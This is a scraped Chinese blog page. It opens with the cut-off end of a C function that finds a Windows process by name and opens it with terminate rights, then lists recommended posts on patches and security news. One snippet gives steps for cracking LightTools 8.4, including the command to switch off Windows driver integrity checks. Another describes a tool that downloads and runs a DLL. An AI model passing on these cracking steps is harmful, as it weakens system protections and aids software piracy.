	HANDLE hProc;
	HMODULE hMod;
	char Path[MAX_PATH];
	int i;

	// search for process
	if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {
		if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))
			for(i=0;i<size/sizeof(DWORD);i++)
				if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {
					if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))
						if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))
							if(OnlyCompareFileName) {
								if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)
									return hProc;
							} else {
								if(lstrcmpi(Path,ProcessToFind) == 0)
									return hProc;
							}
					CloseHandle(hProc);
				}
	}
	return NULL;
}


 
        
360补丁机制深度解析:从漏洞修复到内核级热补丁 补丁是操作系统安全防护的核心技术手段,其本质是在内核、驱动、服务、应用多层级实施精准代码替换与运行时干预。它依赖漏洞情报分析、二进制逆向工程、内存钩子与服务热替换等底层原理,具备高风险性与强系统耦合性。技术价值在于突破微软原生更新延迟与策略限制,实现0day应急响应和静默修复;典型应用场景涵盖金融终端加固、医疗PACS系统防护及企业域环境漏洞闭环治理。本文聚焦360补丁引擎的三层架构设计与真实PoC验证方法,深入剖析MSU包精简、测试签名模式启用、进程冻结与Hotpatch等关键技术细节。 阅读详情

相关推荐

Light Tools 8.4 在 win10系统上的安装方法(64位)

** 总的来说安装LT需要以下步骤(折腾了三天终于装好): 安装LT软件–禁用签名–加载含数字签名的第三方inf–添加注册表/安装驱动/添加密钥–成功破解 一、下载对应的LightTools 8.4版本软件,如下图为解压后的文件: 并选择 进行默认安装。 二、禁用数字签名。这里我用了两种方法,一种不行就换另一种,最终成功禁用。 方法1: 1、输入“cmd”并以管理员身份运行; 2、输入或复制 bcdedit.exe /set nointegritychecks on (此命令若没成功,再试bcded

weixin_45560953的博客 1万+

RegQueryValueEx, 返回2, windows

#include windows.h> #include malloc.h> #include stdio.h> #define TOTALBYTES 8192 #define BYTEINCREMENT 4096 v

在线笔记 3062

​基于stm32的智能空气加湿器设计(含源代码和Proteus仿真)

课程设计分享

LoongSTUDIO的博客 2929

通过程序补丁进行源代码的修订

Normal 0 7.8 磅 0 2 false false false MicrosoftInternetExplorer4 <!-- /* Font

moxuansheng的专栏 2696

Unity布娃娃系统 Ragdoll Mecanim Mixer使用

6. 选完之后,左键下面的hip等角色各个部位不松开鼠标,拖拽连接到上面Amature的各个部位,如图,下面所有部位都连接完之后,第二步点击Configure Selected Bones确认你的部位连接选择。要做一个布娃娃和动画混合的项目,这个插件是比较不错的,搜了一圈文章教程也是抄来抄去,抄的没有头没有尾,自己摸索着用了一下,记录使用过程吧。8. 之后就点击步骤7图一中的Create Ragdoll,会发现player结构发生变化,如图。4. 添加完脚本之后会显示你的player结构,如图。

SuShengQuanshiW的博客 1650

Windows下Fortran调用CGNS库的完整踩坑实录:从HDF5、CMake到VS2019+IVF2020的保姆级配置

本文详细记录了在Windows环境下使用Fortran调用CGNS库的完整配置过程,涵盖HDF5安装、CMake配置、VS2019与IVF2020集成等关键步骤。通过实战经验分享,帮助开发者解决常见编译错误和链接问题,实现高效的Fortran与CGNS库集成。

weixin_28707739的博客 351

打微软补丁的一份代码收藏

打微软补丁的一份代码收藏;; CRclean.asm; by Markus Kern ; 06.08.2001;; downloads CRclean.dll from sender and executes it using rundll32.exe; then calls ExitProcess() on success or sleep

大浪淘沙的专栏 1290

第8讲:基于CST PCB Studio的电源完整性仿真(IR Drop + PDN)

本文系统介绍了电源完整性(PI)仿真的两大核心模块:直流IRDrop仿真与交流PDN阻抗仿真。文章详细阐述了两种仿真的原理、算法(PEEC和3DFE-FD)及完整操作流程,包括参数配置、软件实操步骤和常见问题解决方案。IRDrop仿真用于分析直流供电压降问题,PDN仿真则针对高频电源噪声和谐振问题。文中还提供了优化建议和故障排查方法,如调整铜箔厚度、优化电容布局等,为高速数字系统的电源完整性设计提供了全面的技术指导。(149字)

一只豌豆象的博客 240

微软最新补丁修复两处零日漏洞

微软六月"补丁星期二"总计修复66项安全漏洞。微软刚刚发布了六月的"补丁星期二"更新,针对Windows及微软系统中的66个安全漏洞进行了修复。其中包括两个零日漏洞——一个已被主动利用,另一个已公开披露——以及10个被评定为"严重"级别的缺陷。据Bleeping Computer报道,本月补丁修复了13个权限提升漏洞、3个安全功能绕过漏洞、25个远程代码执行漏洞、17个信息泄露漏洞、6个拒绝服务漏洞及2个欺骗漏洞。其中8个远程代码执行漏洞和2个权限提升漏洞被标记为"严重"。

心雨楼 1640

SAP 费用化采购订单简介

费用性采购的核心特点费用性采购的流程费用性采购的优势适用场景业务场景前台操作1、创建成本中心---KS012、创建采购订单---ME21N3、采购订单审批---ME29N4、采购订单收货---MIGO5、查看成本中心费用---S_ALR_870136116、控制费用化的采购订单自动带出科目和成本中心SAP费用性采购(Expense Procurement)指的是企业在采购过程中,直接将采购的物料或服务成本计入费用科目,而不是记入库存账户的采购行为。

我小时候很黑的博客 2016

【LangChain编程:从入门到实践】实现多模态代理

【LangChain编程:从入门到实践】实现多模态代理 关键词:LangChain, 多模态代理, 自然语言处理, 机器学习, 知识图谱, 对话系统, 代码生成, AI代理 1. 背景介绍 随着人工智

欢迎来到我的优快云空间!这里聚焦AI大模型应用实战,分享前沿技术、实战案例与开发经验。 581

微软确认高危漏洞 正在紧急开发补丁

对于这个可使成千上万的IE浏览器用户受到黑客威胁的高危漏洞,微软计划在网站公布一个提前的安全咨询方案。这份安全建议将在这里公布。这个代码执行漏洞是由丹麦哥本哈根的Secunia网站公布的。     Secunia 在安全公告中描述此漏洞是由应用于单选按钮控制的"createTextRange()"进程呼叫进行中的错误导致的。“这个错误可被操作例如恶意网站在某种程度上导致内存溢出一样,允许程序流

IBM386的专栏 926

AI 编程工具面试题(Claude Code、Codex 等)基础篇(一)

文章摘要: 本文整理了20道AI编程工具基础面试题,涵盖Claude Code、Codex CLI、GitHub Copilot等主流工具的核心概念与实操技巧。内容分为工具分类(代码补全/对话式/自主代理)、安装配置(静默部署/API管理)、关键命令(上下文加载/token监控)、调试策略(错误处理/提示优化)及对比选型(Tabnine vs Copilot)。重点解析了终端工具与模型能力的差异,并针对实际场景(如长代码生成/私有化部署)提供解决方案。附追问环节,深入探讨工具边界问题(如上下文溢出处理)和成

篮球界最会写bug的人;程序猿中打球最菜的人。 339

微软11月补丁星期二值得关注的漏洞

聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士微软在本月补丁星期二中修复了91个漏洞,含四个0day漏洞,其中两个正遭活跃利用。微软本次修复的漏洞如下:26个提权漏洞2个安全特性绕过漏洞52个远程代码执行漏洞1个信息泄露漏洞4个拒绝服务漏洞3个欺骗漏洞此外,微软还在11月7日修复了两个 Edge 漏洞。四个0day漏洞在这四个0day 漏洞中,两个已遭活跃利用,三个遭公开披露。微软对0da...

smellycat000的专栏 654

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

微软九月补丁星期二发现了 79 个漏洞

微软有证据表明,发布的四个漏洞被野外利用和/或公开披露;所有四个漏洞均已在CISA KEV上列出。微软还在修补四个关键的远程代码执行 (RCE) 漏洞。

网络研究观 1845

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

微软3月补丁星期二值得关注的漏洞

聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士微软3月补丁星期二共修复了83个漏洞,其中2个是0day,9个被评级为“严重”。这些漏洞包括:21个提权漏洞2个安全特性绕过漏洞27个远程代码执行漏洞15个信息泄露漏洞4个拒绝服务漏洞10个欺骗漏洞1个Edge-Chromium漏洞这些漏洞中不包含微软在昨天修复的21个Edge漏洞。012个0day漏洞微软本次修复了两个已遭活跃利用的漏洞。CVE...

smellycat000的专栏 881

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

从2015年微软安全更新看Windows漏洞防护与补丁管理实战

在网络安全领域,系统漏洞是攻击者最常利用的入口之一,其本质是软件或硬件中存在的设计缺陷或编码错误,可被恶意利用以破坏系统完整性、窃取数据或获取未授权权限。漏洞的成因多样,从内存管理不当(如缓冲区溢出、释放后使用)到权限验证缺失,攻击者通过构造特定输入触发这些缺陷,从而执行任意代码或提升权限。理解漏洞原理对于构建有效防御体系至关重要,它不仅能帮助安全人员评估风险,还能指导补丁部署和缓解措施的制定。在Windows生态中,微软通过月度“补丁星期二”机制定期发布安全更新,修复包括远程代码执行、权限提升在内的各类漏

weixin_34184158的博客 329

win7安装oracle9i 补丁_intel用户请注意:win10推送专属补丁,强制安装,你“收到”了吗...

最近,有的intel CPU并且使用win10系统的用户可能会收到一份来自微软的大礼---win10系统更新补丁KB4497165。可能这些用户的win10电脑都没有出现往常对应的补丁提示信息,还会怀疑是不是假的。其实不用怀疑,因为微软是强制性更新该补丁。所以当你看到Windows Update页面出现未曾看到的补丁时,就得知道微软已经帮你安排得明明白白了。其实win10系统一直都是在不断地进行更...

weixin_33065899的博客 282

微软2026年7月补丁星期二技术分析:622个漏洞的风险分级修复方案

2026年7月微软"补丁星期二"创纪录推送622个漏洞修复,含154项安全更新及428个Chromium漏洞重新发布。其中2个零日漏洞(CVE-2026-56155和CVE-2026-56164)已被在野利用,分别影响AD身份服务和SharePoint协作平台。文章提出四级修复框架:24-72小时内优先处理已遭攻击漏洞及暴露在外的核心系统(DNS/DHCP/RDS等);1-2周内修复公开披露漏洞;剩余更新纳入常规周期。

SplashtopLoki的博客 580

打补丁是个成本 ZZ

Yankee调研公司近期的一份报告表明:如果一家企业在打补丁方面完全保持最新状态,及时安装微软的每个补丁,那么,每台桌面机每年就要耗资5200美元。------------------------------------------------ 打补丁是个成本  作者:沈建苗 发文时间:2004.07.21   被动地打补丁是防范已知漏洞的好办法吗?   答案显然不是。但是,面对数目众多的补丁

yztgx的专栏 1183

kb931125—rootsupd_kb931125补丁下载

你们的浏览器在使用的过程中,是不是会经常的遇到莫名其妙不响应,或者说运行过程中存在崩溃的问题呢?这是因为你们的计算机可能丢失了微软kb931125补丁的原因,有了它之后你才能够稳定的使用你的浏览器,欢迎有需要的小伙伴在旋风软件园下载!微软kb931125补丁官方介绍本更新程序将计算机上的根证书列表更新为microsoft在microsoft根证书计划中所接受的列表。通过向计算机添加更多根证书,可以...

weixin_39715513的博客 2755

​Windows系统更新无需重启,微软正测试热补丁安装:但付费用户才能用;Sam Altman去年薪酬7.6万美元 | 极客头条

极客头条」—— 技术人员的新闻圈!

极客日报 2万+

8月份补丁更新:微软修补了121个安全漏洞

微软还解决了 Exchange Server 中的三个提权漏洞,这些漏洞可能被滥用来读取目标电子邮件和下载附件(CVE-2022-21980、CVE-2022-24477和CVE-2022-24516)和一个众所周知的信息泄露漏洞( CVE-2022-30134 ) 在 Exchange 中也可能导致相同的影响。它强调了提高技能的员工对此类攻击保持警惕的必要性。作为8 月份补丁星期二更新的一部分,微软修补了多达121 个新的安全漏洞,其中还包括对支持诊断工具漏洞的修复,该公司表示该漏洞正在被广泛利用。...

w3cschools的博客 1295
上一篇: Win2003服务器下的完全克隆
下一篇: 學寫 HTTP Tunnel
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值